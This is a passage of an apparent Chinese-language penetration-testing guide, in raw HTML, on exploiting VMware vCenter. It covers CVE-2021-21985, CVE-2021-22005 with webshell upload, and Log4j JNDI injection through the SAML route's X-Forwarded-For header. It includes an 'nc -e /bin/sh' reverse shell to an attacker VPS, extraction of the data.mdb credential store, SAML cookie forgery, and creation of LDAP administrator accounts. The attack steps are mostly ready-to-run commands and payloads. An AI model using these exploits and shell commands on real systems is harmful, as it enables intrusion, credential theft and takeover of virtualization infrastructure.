data-lang="xml"><code><span class="code-snippet_outer">python cve-2021-21985_exp.py <span class="code-snippet__tag">&lt;<span class="code-snippet__name">target</span>&gt;</span> <span class="code-snippet__tag">&lt;<span class="code-snippet__name">rmi:</span>//<span class="code-snippet__attr">ip</span>/<span class="code-snippet__attr">class</span>&gt;</span></span></code></pre></section><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7092307692307692" data-s="300,640" style="" data-type="png" data-w="650" src="https://wechat2rss.xlab.app/img-proxy/?k=8581f047&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvfEMTE0vxUh87HJ5Tz1uLS7jWWr2LwID3RlCYz1cEhmUyr68GSCSiaU1RX5B9S9Ih1GR53uVYnEspg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><strong>影响版本<br/></strong></p><p><strong><span style="color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, 微软雅黑, &#34;PingFang SC&#34;, Helvetica, Arial, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">VMware vCenter Server 7.0系列 &lt; 7.0.U2b</span><br style="box-sizing: border-box;color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, 微软雅黑, &#34;PingFang SC&#34;, Helvetica, Arial, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><span style="color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, 微软雅黑, &#34;PingFang SC&#34;, Helvetica, Arial, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">VMware vCenter Server 6.7系列 &lt; 6.7.U3n</span><br style="box-sizing: border-box;color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, 微软雅黑, &#34;PingFang SC&#34;, Helvetica, Arial, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><span style="color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, 微软雅黑, &#34;PingFang SC&#34;, Helvetica, Arial, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">VMware vCenter Server 6.5系列 &lt; 6.5 U3p</span><br style="box-sizing: border-box;color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, 微软雅黑, &#34;PingFang SC&#34;, Helvetica, Arial, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><span style="color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, 微软雅黑, &#34;PingFang SC&#34;, Helvetica, Arial, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">VMware Cloud Foundation 4.x 系列 &lt; 4.2.1</span><br style="box-sizing: border-box;color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, 微软雅黑, &#34;PingFang SC&#34;, Helvetica, Arial, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><span style="color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, 微软雅黑, &#34;PingFang SC&#34;, Helvetica, Arial, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">VMware Cloud Foundation 4.x 系列 &lt; 3.10.2.1</span><br/></strong></p><p><strong><br/></strong></p><p><strong>确认漏洞<br/></strong></p><p>nuclei扫描</p><p><br/></p><p><strong>·CVE-2021-22005<br/></strong></p><p><strong><br/></strong></p><p><strong>使用脚本<br/></strong></p><p><a href="https://github.com/shmilylty/cve-2021-22005-exp" target="_blank">https://github.com/shmilylty/cve-2021-22005-exp</a></p><p><br/></p><p><strong>命令<br/></strong></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">exp.exe -t <span class="code-snippet__tag">&lt;<span class="code-snippet__name">target</span>&gt;</span> -s <span class="code-snippet__tag">&lt;<span class="code-snippet__name">webshell</span>&gt;</span></span></code></pre></section><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.12313432835820895" data-s="300,640" style="" data-type="png" data-w="804" src="https://wechat2rss.xlab.app/img-proxy/?k=77674276&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvfEMTE0vxUh87HJ5Tz1uLS7miaMMP1HKL7Oy4cxpzoMauWHQKjVmAlaGMwzQkab0btic2B0Lw8C4zvw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="color: rgb(255, 0, 0);">如果不指定-s的话，会上传默认的cmd.jsp，可以指定自己生成的马儿。<br/></span></p><p><span style="color: rgb(255, 0, 0);"><br/></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5722433460076045" data-s="300,640" style="" data-type="png" data-w="1052" src="https://wechat2rss.xlab.app/img-proxy/?k=36626cf5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvfEMTE0vxUh87HJ5Tz1uLS73IUboKOY45zHrwNw2ubs6WAgVKiaS8IYYtI9X6VfImbbOPO0HRWcQkA%2F640%3Fwx_fmt%3Dpng"/></p><p><strong><br/></strong></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.44808743169398907" data-s="300,640" style="" data-type="png" data-w="1647" src="https://wechat2rss.xlab.app/img-proxy/?k=7cdb2fc2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvfEMTE0vxUh87HJ5Tz1uLS7H3zTSLMdib5ypBxfLUm5LnncfdXR5QgF7kxMcIzw18jBsLUDPa8fSyw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><strong>影响版本</strong></p><p data-source-line="90" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, 微软雅黑, &#34;PingFang SC&#34;, Helvetica, Arial, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">VMware vCenter Server 7.0</p><p data-source-line="92" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, 微软雅黑, &#34;PingFang SC&#34;, Helvetica, Arial, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">VMware vCenter Server 6.7 Running On Virtual Appliance</p><p data-source-line="94" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, 微软雅黑, &#34;PingFang SC&#34;, Helvetica, Arial, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">VMware Cloud Foundation (vCenter Server) 4.x</p><p data-source-line="96" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, 微软雅黑, &#34;PingFang SC&#34;, Helvetica, Arial, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">VMware Cloud Foundation (vCenter Server) 3.x</p><p><br/></p><p><strong>确认漏洞<br/></strong></p><p>利用nuclei扫描</p><p><br/></p><p><strong>·Log4j<br/></strong></p><p><br/></p><p><strong>使用脚本</strong></p><p><a href="https://github.com/zzwlpx/JNDIExploit" target="_blank">https://github.com/zzwlpx/JNDIExploit</a><br/></p><p><br/></p><p><strong>命令<br/></strong></p><p>漏洞成因是Vcenter的SAML路由中，可以通过增加XFF头触发漏洞，把需要执行的命令跟在XFF后面。<strong><br/></strong></p><p><br/></p><p>SAML路由路径如下：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js"><code><span class="code-snippet_outer"> /websso/SAML2/SSO/vsphere.local?SAMLRequest=</span></code></pre></section><p>Payload如下：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">${<span class="code-snippet__attr">jndi</span>:ldap:<span class="code-snippet__comment">//exp}</span></span></code></pre></section><p><br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.8280961182994455" data-s="300,640" style="" data-type="png" data-w="541" src="https://wechat2rss.xlab.app/img-proxy/?k=ba607b03&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvfEMTE0vxUh87HJ5Tz1uLS7MOuOhW64kf4MPx1u37fpsJDOlHp8rVC2XU7dvNWVYicwVUKRicibYrnpQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5594622543950362" data-s="300,640" style="" data-type="png" data-w="967" src="https://wechat2rss.xlab.app/img-proxy/?k=cb30413f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvfEMTE0vxUh87HJ5Tz1uLS7VWAXAb2WiaEibEicyjV92enypxL4KXQ5b8bE1uLiaOdh31dgJgQfD3vZXQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><br/></p><p>exp的内容需要通过上面给出的脚本JDNI注入工具完成。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">java</span> <span class="code-snippet__selector-tag">-jar</span> <span class="code-snippet__selector-tag">JNDIExploit-1</span><span class="code-snippet__selector-class">.2-SNAPSHOT</span><span class="code-snippet__selector-class">.jar</span> <span class="code-snippet__selector-tag">-i</span> <span class="code-snippet__selector-tag">vps_ip</span></span></code></pre></section><p><br/></p><p>查看可执行的命令</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">java</span> <span class="code-snippet__selector-tag">-jar</span> <span class="code-snippet__selector-tag">JNDIExploit-1</span><span class="code-snippet__selector-class">.2-SNAPSHOT</span><span class="code-snippet__selector-class">.jar</span> <span class="code-snippet__selector-tag">-u</span></span></code></pre></section><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7187112763320942" data-s="300,640" style="" data-type="png" data-w="807" src="https://wechat2rss.xlab.app/img-proxy/?k=d2bdd5a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvdEd1WkKdibicQ0bN697em3oa2yaoPwVsKpmMMMejql2VGhhp0qfoIfwvaE6hPnqsmU8EFBXxMuU10g%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>利用命令行反弹shell</p><p>利用命令行反弹shell的方式有两种，第一种是直接使用工具中自带的/ReverseShell/ip/port，但是这种方式不适合用于Vcenter，虽然可以反弹回shell，但是执行命令无法回显。这里选择使用以下命令反弹shell</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">nc</span> -e /bin/sh vps_ip port</span></code></pre></section><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.2030075187969924" data-s="300,640" style="" data-type="png" data-w="532" src="https://wechat2rss.xlab.app/img-proxy/?k=23fde7b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvdEd1WkKdibicQ0bN697em3oahuTBUsvY1icztXFkIeH7laS0b8rYWJ3vw4icicY5W0wTFvpEaF7fLS6icw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.21772639691714837" data-s="300,640" style="" data-type="png" data-w="519" src="https://wechat2rss.xlab.app/img-proxy/?k=2514e31d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvdEd1WkKdibicQ0bN697em3oahkYE1JxiaQ5afPBuZibjNKCGXd8vbZJvzAQvaRo0jiawakfouyI2ozF0w%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><strong><span style="font-size: 24px;">后续利用</span></strong></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><strong><span style="font-size: 20px;">获取web权限</span></strong></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><strong><span style="font-size: 20px;"></span></strong><br/></p><p><strong>·伪造cookie</strong><br/><strong><span style="font-size: 20px;"></span></strong></p><p><br/></p><p><strong>使用脚本<br/></strong></p><p><a href="https://github.com/horizon3ai/vcenter_saml_login/blob/main/vcenter_saml_login.py" target="_blank">https://github.com/horizon3ai/vcenter_saml_login/blob/main/vcenter_saml_login.py</a></p><p><br/></p><p><strong>命令</strong></p><p>使用脚本时可能会报错，需要提前安装requirements.txt下的库</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7351694915254238" data-s="300,640" style="" data-type="png" data-w="472" src="https://wechat2rss.xlab.app/img-proxy/?k=d1d956bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvdEd1WkKdibicQ0bN697em3oaynzWspUBEcP3xhDlC7Vy0PRKwgJ0sz4icKoGz5DicjhUyeN8eHB9Q7TA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>windows下安装python-ldap的方法：</p><p>下载对应python版本的python-ldap（cp310代表的是python3.10的版本）</p><p><br/></p><p>项目地址<br/></p><p><a href="https://www.lfd.uci.edu/~gohlke/pythonlibs/#" target="_blank">https://www.lfd.uci.edu/~gohlke/pythonlibs/#</a> python-ldap</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">pip</span> <span class="code-snippet__selector-tag">install</span> <span class="code-snippet__selector-tag">python_ldap-3</span><span class="code-snippet__selector-class">.4</span><span class="code-snippet__selector-class">.0-cp310-cp310-win_amd64</span><span class="code-snippet__selector-class">.whl</span></span></code></pre></section><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.04935064935064935" data-s="300,640" style="" data-type="png" data-w="1155" src="https://wechat2rss.xlab.app/img-proxy/?k=330e6ea7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvfz2Z7sh6Yiaicf22Q7IfNuGxBjDwztUvpvaw5c2y9WJsJCBFibw3174NkTsic1IpyCL1uI2OQc3PCVibg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.26911618669314796" data-s="300,640" style="" data-type="png" data-w="1007" src="https://wechat2rss.xlab.app/img-proxy/?k=fb7c7b92&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvfz2Z7sh6Yiaicf22Q7IfNuGxnLC4tqUQlHa9p0bQ43icgSeUmsJtHKZQ5QaqAoedZZoBRxFTpZh6JLg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>获取data.mdb</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer">windows：C:/ProgramData/VMware/vCenterServer/<span class="code-snippet__keyword">data</span>/vmdird/<span class="code-snippet__keyword">data</span>.mdb</span></code><code><span class="code-snippet_outer">linux：/storage/db/vmware-vmdir/<span class="code-snippet__keyword">data</span>.mdb</span></code></pre></section><p><br/></p><p>从目标机器/storage/db/vmware-vmdir/的目录下下载data.mdb。</p><p><br/></p><p>伪造cookie</p><p><span style="color: rgb(255, 0, 0);">目标机器内网ip需要本地可以访问到，否则无法伪造cookie。</span><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">python</span> <span class="code-snippet__selector-tag">vcenter_saml_login</span><span class="code-snippet__selector-class">.py</span> <span class="code-snippet__selector-tag">-t</span> &lt;目标机器内网<span class="code-snippet__selector-tag">ip</span>&gt; <span class="code-snippet__selector-tag">-p</span> <span class="code-snippet__selector-tag">data</span><span class="code-snippet__selector-class">.mdb</span></span></code></pre></section><p style="text-align: center;margin-bottom: 0em;"><br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.22865853658536586" data-s="300,640" style="" data-type="png" data-w="984" src="https://wechat2rss.xlab.app/img-proxy/?k=73840e66&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvdEd1WkKdibicQ0bN697em3oakDlQ4SgWHGfHP9uniaic8Cyyu98lKZEuiaZfolLxWGwicq2fc5czFx78og%2F640%3Fwx_fmt%3Dpng"/><br/></p><p><br/></p><p>使用cookie修改工具，修改cookie的值</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.47181372549019607" data-s="300,640" style="" data-type="png" data-w="1632" src="https://wechat2rss.xlab.app/img-proxy/?k=ae699fe6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvdEd1WkKdibicQ0bN697em3oayIiacVDibiaTVsKTI4kHc10PjkUeicwRyMAF6EibqS1XaLLsCWyF6ZDG3Bg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;margin-bottom: 0em;"><br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6352941176470588" data-s="300,640" style="" data-type="png" data-w="425" src="https://wechat2rss.xlab.app/img-proxy/?k=3ccaf1ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvdEd1WkKdibicQ0bN697em3oaFytkHvFjxnuklvx02rRLcrzTE0CLZpZ3mHbkAQJjqkPuAILRNXQY9A%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, 微软雅黑, &#34;PingFang SC&#34;, Helvetica, Arial, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, SimSun, 宋体, Heiti, 黑体, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;font-size: 17px;"><br/></span></p><p><span style="color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, 微软雅黑, &#34;PingFang SC&#34;, Helvetica, Arial, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, SimSun, 宋体, Heiti, 黑体, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;font-size: 17px;">修改完成之后，点击页面的启动<br/></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6045081967213115" data-s="300,640" style="" data-type="png" data-w="976" src="https://wechat2rss.xlab.app/img-proxy/?k=3e56de01&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvdEd1WkKdibicQ0bN697em3oaQncrRvXSN60mTKic15wbMwX3r17hdVj1sWKLtUfwUsaaRK4sxibvXmWQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.03490508266993264" data-s="300,640" style="" data-type="png" data-w="1633" src="https://wechat2rss.xlab.app/img-proxy/?k=43b637b3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvdEd1WkKdibicQ0bN697em3oah0orfpP3tx6fsOVNp83ibLDJJMpK0iaaXvLZ1lrDwupxGgqjiap7u8IjQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, 微软雅黑, &#34;PingFang SC&#34;, Helvetica, Arial, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, SimSun, 宋体, Heiti, 黑体, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;font-size: 17px;"><br/></span></p><p><span style="color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, 微软雅黑, &#34;PingFang SC&#34;, Helvetica, Arial, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, SimSun, 宋体, Heiti, 黑体, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;font-size: 17px;">如果没成功，则代表需要设置hosts指定域名和ip的关系，清除浏览器缓存重新访问。<br/></span></p><p><br/></p><p><strong>·LDAP创建管理员<br/></strong></p><p><br/></p><p><strong>使用脚本<br/></strong></p><p>文章<strong><br/></strong></p><p><a href="https://3gstudent.github.io/vSphere开发指南5-LDAP" target="_blank">https://3gstudent.github.io/vSphere开发指南5-LDAP</a></p><p><br/></p><p>脚本</p><p><a href="https://github.com/3gstudent/Homework-of-Python/blob/master/vCenterLDAP_Manage.py" target="_blank">https://github.com/3gstudent/Homework-of-Python/blob/master/vCenterLDAP_Manage.py</a></p><p><br/></p><p><strong>实战<br/></strong></p><p>将脚本上传之后，执行命令搜集相关信息，方便后续替换</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">python</span> update.py</span></code><code><span class="code-snippet_outer">python update.py getadmin</span></code><code><span class="code-snippet_outer">python update.py getuser</span></code></pre></section><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5364583333333334" data-s="300,640" style="" data-type="png" data-w="384" src="https://wechat2rss.xlab.app/img-proxy/?k=376e6e10&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEveRaQEOeqrqHo13VoxogdMsqfkjXicaN0jbP2odvKV9X50gXFecNPdzMfxQYhsWicia5a9dQVqkKdYJQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;margin-bottom: 0em;"><br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.1560077519379845" data-s="300,640" style="" data-type="png" data-w="1032" src="https://wechat2rss.xlab.app/img-proxy/?k=8a417c2c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEveRaQEOeqrqHo13VoxogdMsuvHaT54X14huIUeLaXG2KTeHYoRmSXib9ZI2ib6rIR5yeV5rNGSL7Yqw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" 